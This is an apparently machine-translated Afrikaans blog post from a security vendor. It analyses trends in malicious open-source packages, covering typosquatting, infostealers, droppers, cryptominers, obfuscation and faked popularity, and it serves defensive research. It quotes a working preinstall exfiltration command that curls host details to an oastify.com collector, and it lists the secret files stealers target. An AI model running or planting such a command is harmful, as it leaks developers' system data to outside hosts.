Kwaadwillige pakkette 5

Anatomie van Kwaadwillige Pakkette: Wat is die Tendense?

In die vorige episode, Oopbron Kwaadwillige Pakkette: Die Probleem, ons het bespreek waarom die bedreigingsakteurs so was entoesiasties oor die publisering van nuwe kwaadwillige komponente of die inspuiting van wanware in die nuutste weergawes van bestaande komponente: Die oopbron-infrastruktuur laat enigiemand enige plek toe om 'n kortstondige rekening te skep in 'n komponentregister (soos NPM, PyPI, Docker Hub of Visual Studio Marketplace) of samewerkende ontwikkelingsplatform (soos GitHub). Nul koste, en baie geleenthede om die oortollige vertroue wat sagtewarespanne tradisioneel op derdeparty-komponente het, te benut. 

Die asimmetrie tussen hoe maklik dit vir aanvallers is om wanware te versprei deur die infrastruktuur wat vir oopbron beskikbaar is, en hoe moeilik dit is vir organisasies wat sagteware ontwikkel (almal?) om te verhoed dat hulle met wanware besmet word (en om wanware in die sagteware wat hulle vir ander versprei, te lewer), het gelei tot die kwartmiljoen-kerf van kwaadwillige pakkette wat verlede jaar amper bereik is. 

Dit is 'n probleem van so 'n omvang dat geen enkele organisasie dit kan oplos nie, en die gemeenskap is besig om die oopbronproses te herformuleer rakende vertroue, beveiliging per verstek en beveiliging per ontwerp-beginsels, en die lewensiklus van komponente. Ons sal in die volgende episode na sulke idees kyk. Beskerming teen oopbron-kwaadwillige pakkette: Wat werk (nie) nie.

Onthou dat ons praat oor sagtewarekomponente wat meestal ooreenstem met sagtewarepakketteherbruikbare komponente verpak sodat hulle as 'n afhanklikheid in 'n sagtewaremanifes verwys kan word, en geïnstalleer kan word met 'n pakketbestuurder of bou-instrument. Let asseblief daarop dat hierdie geval uitgebrei kan word om publieke in te sluit. houerbeelde (gebruik deur houerlooptye en orkestrasieplatforms soos Kubernetes), en uitbreidings tot sagteware-instrumente (vir bou, outomatisering en ontplooiing). 

Hier analiseer ons hoe dit aanvalstaktiek gebaseer op kwaadwillige komponente werk, volgens vorige voorbeelde en wat ons gesien het in ons platform vir Malware Early Warning (MEW). Ons sal kwaadwillige komponente in verskillende dimensies ontleed: 

(1) die manier wat gekies is vir verspreiding (register wat gebruik word, in 'n nuwe of bestaande komponent, en die tegniek wat gebruik word om die gepubliseerde komponentweergawe te besmet), (2) hoe die wanware geaktiveer of veroorsaak word, (3) die kwaadwillige gedrag, d.w.s. watter skadelike aksies waargeneem word en wat die motivering van die aanvaller is, (4) watter tegnieke algemeen is vir verdoeseling, wegkruip om ongemerk te bly, laterale beweging, kommunikasie met bevel-en-beheer (C2) gashere, ens.; en (5) die tegnieke om genoeg gewildheid en vertroue te verkry sodat die slagoffers uiteindelik die komponent installeer.

Die gekose verspreidingsmeganisme

Ons neem 'n "agtergrond geraas"van ongesofistikeerde kwaadwillige pakkette wat typosquatting gebruik om onoplettende ontwikkelaars met 'n tikfout in die pakketnaam vir hul afhanklikheid te phish. Baie gewilde pakkette ontvang 'n spervuur ​​van soortgelyke pakkette met tikfoute, met die verwagting dat hulle sommige onoplettende ontwikkelaars sal phish. 

Hulle gebruik 'n kortstondige rekening, publiseer 'n groep typosquat-pakkette, skep 'n ander een, en publiseer nog 'n groep... Deur 'n bietjie outomatisering en vindingrykheid te gebruik, kan hulle 'n mate van gesofistikeerdheid verkry, maar tipies is hulle nogal triviaal. Ons noem hulle intern "ansjovisDie steel van geloofsbriewe is die hoofdoel, maar soms vind ons spioenasieware wat bronkode of sensitiewe data soos persoonlik identifiseerbare inligting (PII), knipbordvaslegging en ander bedenkinge steel.

Uit die bloute sien ons meer gesofistikeerde kwaadwillige komponente, die "haaie". 'n Minderheid word op spesifieke groepe of organisasies geteiken, tipies met kripto-dreineerders of web-skimmers wat voorwaardelik geaktiveer word, miskien volgens die benadering wat in die ... gesien word. gebeurtenisstroom-insident om die aanvalsvrag slegs te dekripteer wanneer die pakket vanaf 'n teikenpakket verwys word. 

Die verspreidingsmeganisme is geanaliseer in die uitstekende en nou klassieke artikel, “Rugsteker se Knyfversameling: 'n Oorsig van Aanvalle op die Voorsieningsketting van Oopbronsagteware”, wat 'n moet-lees is. Jy het sekerlik al voorheen hierdie mooi grafiek gesien: 

kwaadwillige pakkette

Alle moontlikhede is ondersoek, insluitend nuwe en bestaande pakkette; die beïnvloeding van die bronkode, die boustelsel of die verpakte komponent self; die gebruik van gesteelde geloofsbriewe of sosiale manipulasie; die kaping van verlate rekeninge en bewaarplekke of die vergiftiging van onderhoude rekeninge en bewaarplekke. Sommige aanvalle het name ontvang (Tikfout, Afhanklikheidsverwarring, Manifeste Verwarring, Herwinning. ens.) en is reeds elders bespreek. 

Wat van die gekose registers?

NPM bly steeds die leier in die totale aantal kwaadwillige pakkette, maar ons het vanjaar 'n piek op PyPI gesien. Python is 'n gewilde ekosisteem vir datawetenskap en masjienleer. Trouens, die digtheid van wanware is nou hoër in PyPI as in NPM. 

Hoe die wanware geaktiveer word

Kwaadwillige pakkette word slegs in 4 uit 10 gevalle tydens installasie geaktiveer (in onlangse jare was dit amper 6 uit 10). Die res voer kwaadwillige gedrag tydens looptyd uit, met 1 uit 100 wat geaktiveer word tydens toetse. Die teenstanders blyk te weet dat die onbeheerde uitvoering van installasieskripte op baie plekke gedeaktiveer is.

Wat kry die slegte ouens?

Ons sal die kategorieë van kwaadwillige gedrag lys, met die gewildste eerste. Let asseblief daarop dat die impak heel anders kan wees: a sakdoek is hardnekkig vernietigend, maar dit is nie algemeen nie en is slegs in 'n paar gevalle gesien, verwant aan geteikende kuberoorlogveldtogte of brutale hacktivisme. Die volgende kategorieë is redelik algemeen:

  • InfoStealer / Credentials DreinerVerreweg die mees algemene, meer as 90% van die ongesofistikeerde aanvalle, is eenvoudige diewers wat hoofsaaklik op soek is na geloofsbriewe soos wagwoorde, toegangstokens, API-sleutels en privaat sleutels (vir SSH en dies meer). Dit is waarskynlik die eenvoudigste om te skryf (saam met vee-uitvee?). Hulle lys bekende lêers/gidse en ander bronne (bv. registersleutels), verpak die inhoud en stuur daardie data na 'n C2-bediener. Die idee is eenvoudig: "Ek publiseer 'n diewer vir phishing-geloofsbriewe, sodat ek later die geloofsbriewe kan gebruik om 'n gerigte aanval te loods". 

Die C2-netwerke wat waargeneem word, is tipies goedkoop en vuil, soos Telegram-kanale of ngrok-agtige tonnelgereedskap (dikwels in die vorm van omgekeerde proxy's wat blootgestel word deur VPN-uitgangs-IP's). Daar is honderde (!) moontlikhede, met baie GitHub-projekte onder die wagwoorddief-onderwerpSpesialisasies soos sleutelloggers is skaars vir kwaadwillige pakkette en houerbeelde, maar meer gereeld in gereedskapuitbreidings, waar gebruikersinteraksie verwag word.

  • Dropper / Aflaaier. Die tweede in gewildheid, tipies eerste in meerfase-aanvalle. Meer as een uit elke drie kwaadwillige komponente het aflaaiers (indien die kwaadwillige vrag in die pakket ingesluit is) of aflaaiers (die vrag word afgelaai vanaf 'n eindpunt onder beheer van die aanvaller). Die vrag is dikwels 'n bekende binêre wanware-variant, en dit word uitgevoer en soms aangehou om agterdeure, spioenasieware, kripto-dreineraars en ander gebruiksgevalle te installeer. Die vrag wat afgelaai of ontplooi word, begin 'n tweedefase-aanval met al die krag wat deur bestaande wanware-binêre lêers verskaf word. Die binêre lêers kan binne die pakket versprei word, dikwels vermom as beelde of sogenaamde onskadelike lêertipes, om opsporing te vermy terwyl daar met onverwagte webwerwe gekoppel word. 
  • Kriptogeldeenheid-diefstal / -mynwerkersFinansieel gemotiveerde teenstanders is bereid om jou wolkbates te gebruik om kriptomynwerkers te laat loop (hulle bespeur selfs of hulle in 'n wolk-VM loop). Hulle gee nie om vir die lae winsverhouding van $1 vir elke $53 wat die slagoffer gehef word vir die gesteelde wolkinfrastruktuur. Slagoffers is dalk nie hiervan bewus totdat hulle 'n onverwagte rekening ontvang nie. Gelukkig kom en gaan dit. Cryptojacking veldtogte in kwaadwillige pakkette verskyn soms en verdwyn dan, wat vir beursiegebruikers uitvis of uiteindelik die beursieverskaffer teiken, soos in die Grootboekaanval.   

Ander gedrag, soos die ontplooiing van 'n agterdeur vir die uitvoering van afstandkode deur 'n omgekeerde dop oop te maak, is nou minder gereeld as in die verlede. Byvoorbeeld, die 123rf_bydraer_web pakket (nou verwyder uit die register) maak oop sonder enige verdoeseling 'n omgekeerde dop gekopieer en geplak vanaf die Omgekeerde Shell-spiekbrief:

kwaadwillige pakkette 2
Kwaadwillige pakkettipes is gedurende die week van 24-30 Junie 2024 waargeneem.

Benewens wettige en kwaadwillige komponente, het ons verskeie misbruike waargeneem, insluitend:

Spampakkette

Daar is duisende klein pakkette, meestal in NPM, sonder wanware, maar met belowende maklike verdienste, slangolie, skakels na Viagra-aanbiedinge, en al daai dinge. 'n Paar gebruikers publiseer sulke strooipos en neem baie bandwydte uit die register. Nog 'n akteur(s) moontlik van Indonesië het probeer om voordeel te trek deur misbruik van die teeRank bedoel vir die vergoeding van oopbron-ontwikkelaars, deur tienduisende onderling verwante NPM-pakkette met verwante GitHub-dummy-bewaarplekke te skep. Dit is 'n duidelike oortreding van die gebruiksvoorwaardes.

Foutbeloning en sekuriteitsnavorsingsfoefies

 Wanneer 'n pakket homself beskryf as die uitfiltrering van data vir goeie doeleindes, soos die opsporing van sekuriteitsfoute vir foutbounty-programme of die navorsing van sekere aspekte van die ekosisteem. Ons het duisende pakkette in hierdie kategorie gesien wat identifikasie-, maar nie te sensitiewe data nie, na 'n Burp Collaborator-adres van PortSwigger (bv. gasheer in oastify.com-domein) haal. Ons het dikwels nabootsers van die ... waargeneem. Afhanklikheidsverwarring bewys-van-konsep deur Alex Birsan, soos die aurora-webpos-pro pakket (verwyder uit die register), wat eenvoudig hierdie nare kode in die voorinstallasieskrip uitvoer:

exec("a=$(hostname; pwd; whoami; echo 'aurora-webmail-pro'; curl http://kmauspo6z5noqllvwu0oj6lqahg84ysn.oastify.com/;) && echo $a | xxd -p | head | while read ut; do curl -k -i -s http://kmauspo6z5noqllvwu0oj6lqahg84ysn.oastify.com/$ut;done")  

En het ook 'n "Dit is 'n eenvoudige bewys van konsep vir afhanklikheidsverwarringsaanval"vrywaring beskrywing in die pakket.jsonDit is 'n duidelike oortreding van die diensbepalings, selfs sonder kwaadwillige opset. 

Goeie nuus? Ons het (nog) nie ransomware-aanvalle gesien wat deur kwaadwillige komponente afgehandel word nie. Om onbekende redes verkies kubermisdadigers meer tradisionele e-pos-phishing, RDP-gebaseerde en drive-by-aflaai-afleweringsmeganismes. 

Bykomende tegnieke waargeneem 

kwaadwillige pakkette 3

Baie tegnieke is gebruik vir volharding, verdedigingsontduiking, inligtinginsameling, kommunikasie met bevel- en beheergashere, en eksfiltrasie. 

Volharding in kwaadwillige komponente word verkry deur die volhardingskenmerke in 'n tweede-fase binêre wanware te gebruik, maar soms is die gedrag in die pakketkode geleë, met geskeduleerde take en veranderinge in die Windows-register die algemeenste. 

obfuscation is algemeen, maar ongesofistikeerd. Meeste typosquatting-pakkette (onthou die “ansjovis"?) gebruik glad nie obfuskasie nie; baie gebruik óf triviale kodes (base64/heks-kodering óf vervangingssyfers soos rot13) óf gebruik beskikbare kode-obfuskeerders en minifikasie, wat maklik omgekeer kan word met die regte gereedskap. Slegs die "haaie" doen werklike, harde kern, obfuskasie, moeilik om terug te ontwerp.

Verduistering mag die aanval verberg, maar waarom moet kode in 'n oopbronkomponent verduister word? Is daar bewyse dat iets vir die oog weggesteek moet word? Ons het baie gevalle gevind van nie-kwaadwillige pakkette wat verduistering gebruik om intellektuele eiendom te beskerm, wat teenstrydig is met "oopbron". Verduistering kan as bewys van wanware gebruik word, maar dit is nie afdoende nie. Dit is ook moeilik om te de-verduister. 

ontduiking van verdedigingsbeheer gebruik eenvoudige tegnieke. Kwaadwillige kode word dikwels beskerm in probeer … vang blokke wat enige uitsonderings ignoreer, sodat abnormale aktiwiteit nie in die logboeke getoon word nie. Verifikasie van die omgewing (wat in 'n VM of houer loop) is skaars, tensy dit wanware is wat op 'n spesifieke organisasie of omgewing gemik is.

Die vermomering van binêre lêers in beelde en PDF-lêers (soort steganografie) was nog 'n tegniek wat gesien is om opsporing te ontduik.

Aangesien die mees algemene kwaadwillige komponente inligtingsdiewe is, data-insameling is noodsaaklik. Geheime (wagwoorde, toegangstokens, API-sleutels, kriptografiese sleutels) word roetinegewys geskandeer in loglêers, omgewingveranderlikes en selfs die knipbord (gesien met banktrojane en kripto-steelers). Bronkode-uitfiltrasie is ook algemeen, aangesien die pakketinstallasie dikwels in 'n ontwikkelingsnode gedoen word waar interne git-bewaarplekke gekloon kan word. Ons het pakkette gesien wat gidse opsom op soek na git-bewaarplekke. Om te soek na liggings soos .env, private.pem, settings.py, app.js of application.properties is redelik algemeen.

Eksfiltrasie is nog 'n wydverspreide aksie. Slegs 'n minderheid van kwaadwillige pakkette probeer selfs die bestemming van die onttrekte data wegsteek. Telegram-kanale en ngrok-agtige tonnels word dikwels gebruik. En daar is baie tipies witlys domeine wat vir eksfiltrasie gebruik word

Ander tegnieke, soos voorreg-eskalasie of laterale beweging, was minder algemeen. 

Gewildheid en vertroue verkry

Stel jou voor 'n tegnologie-skelm met 'n klaargemaakte, kwaadwillige ding wat wonder: "Hoe maak ek hierdie stuk s#$! betroubaar vir daardie niksvermoedende idiote?". 

Dit vertaal in hoe om die inskrywing vir die kwaadwillige komponent te maak om baie sterre / vurke (vir gewildheid) te wys, plus weergawes / probleme en pull requests (vir aktiwiteit). Die idee is om fiktiewe gewildheid (sterre) en afhanklikes te verkry, en 'n oortuigende voorkoms rakende relevansie en instandhouding. 

Die register kontroleer nie of die inhoud in 'n GitHub-projek en die pakketinhoud ooreenstem nie.Dit is 'n bekende probleem in die sagteware-voorsieningsketting. Die openbare registers is reuse-sinkgate wat alles wat na hulle gegooi word, insluk. Jy kan enige bewaarplek koppel. 

kwaadwillige pakkette 4
Bewysverspreiding in potensiële wanware gedurende die week van 24-30 Junie 2024.

As die kwaadwillige pakket 'n gewilde een tikfout maak, is dit maklik: verwys net na die bestaande GitHub-bewaarplek in die afhanklikheidsmanifes wat gebruik word om die pakket te skep en dit in die register te publiseer. Vir nuwe pakkette op 'n vals GitHub-bewaarplek, benodig jy dalk meer vindingrykheid, miskien die skep van vals ... sterrekyk/vurking GitHub-rekeninge via skripsie.

En as die inhoud van jou pakket redelik soortgelyk is aan die bewaarplek, voeg 'n paar goed ontwerpte veranderinge hier en daar by... Jy kan jou wanware in 'n nuwe pakket inspuit wat soos 'n gewilde een lyk wat na die bestaande een se bewaarplek verwys, en wag vir die tikfoute. As iemand dit waag om die inhoud van die pakket se tarball te vergelyk met die inhoud van die GitHub-bewaarplek, kan die verskille by die wanware-inspuitingspunte maklik misgekyk word. Ons het hierdie benadering al baie keer tevore gesien. 

'n Meganisme vir 'n komponent om 'n peutervaste verklaring oor herkoms, hoe die verpakking gebou is, uit watter bronne en deur wie te maak, sou welkom wees. Maar dis 'n ander storie. 

Is komponent X wanware?

Is daar 'n (omvattende) databasis van kwaadwillige pakkette? Nee. Oopbron-kwesbaarhede het 'n CVE-ID toegeken, maar slegs 'n paar kwaadwillige pakkette (veral dié wat opslae maak) kry een. Die CWE vir kwaadwillige pakkette is CWE-506 (ingebedde kwaadwillige kode). 

Die gewone wanware-instrumente (VirusTotal, MalwareBazaar, SOREL-20M…) maak nie spesifieke voorsiening vir kwaadwillige komponente nie. Dit sal welkom wees!

Daar is navorsingsmonsterdatabasisse en datastelle vir analise (ons gebruik 'n paar daarvan), maar inskrywings word slegs opgedateer wanneer die kwaadwillige pakket bekend is, wat dikwels te laat is. As jy belangstel, die OpenSSF Kwaadwillige pakkette is 'n mooi begin.

In die volgende plasing sal ons bespreek hoe om te weet of 'n gegewe pakket kwaadwillig is. Bederf: ja, daar is maniere om vroegtydig gedurende die blootstellingsvenster vir kwaadwillige komponente te kyk, voordat die register 'n bekende kwaadwillige komponent verwyder.

Verdere leeswerk

In die volgende episode "Beskerming teen oopbron-kwaadwillige pakkette: Wat werk (nie) nie" Ons sal die moets en moenies vir oopbron-sekuriteit bespreek. Die meeste sekuriteitsbewuste professionele persone het intuïsie oor hoe om hierdie bedreiging te hanteer, maar wanopvattings is volop. 

Ons sal hersien waarom hierdie idees verkeerd is, en hoe sulke wanopvattings bydra tot die gewildheid van hierdie aanvalsmeganisme, en tot die oorweldigende risiko wat organisasies ervaar. Ons sal dan voortgaan met wat wel werk, en wat die moeite en hulpbronne is wat betrokke is. 

Ons gaan ook plaas oor die evolusie van kwaadwillige pakkette in terme van hul bedoeling, inspuitmeganisme en aanvalstegnieke.

Bly ingeskakel!

Verwysings

Oopbron Kwaadwillige Pakkette: Die Probleem

Beskerming teen OSS-kwaadwillige pakkette: Wat werk (nie)?

sca-tools-sagteware-samestelling-analise-gereedskap
Prioritiseer, herstel en beveilig jou sagtewarerisiko's
Kry jou gratis rekening.
Geen kredietkaart benodig nie.

Beveilig u sagteware-ontwikkeling en -lewering

met Xygeni-produksuite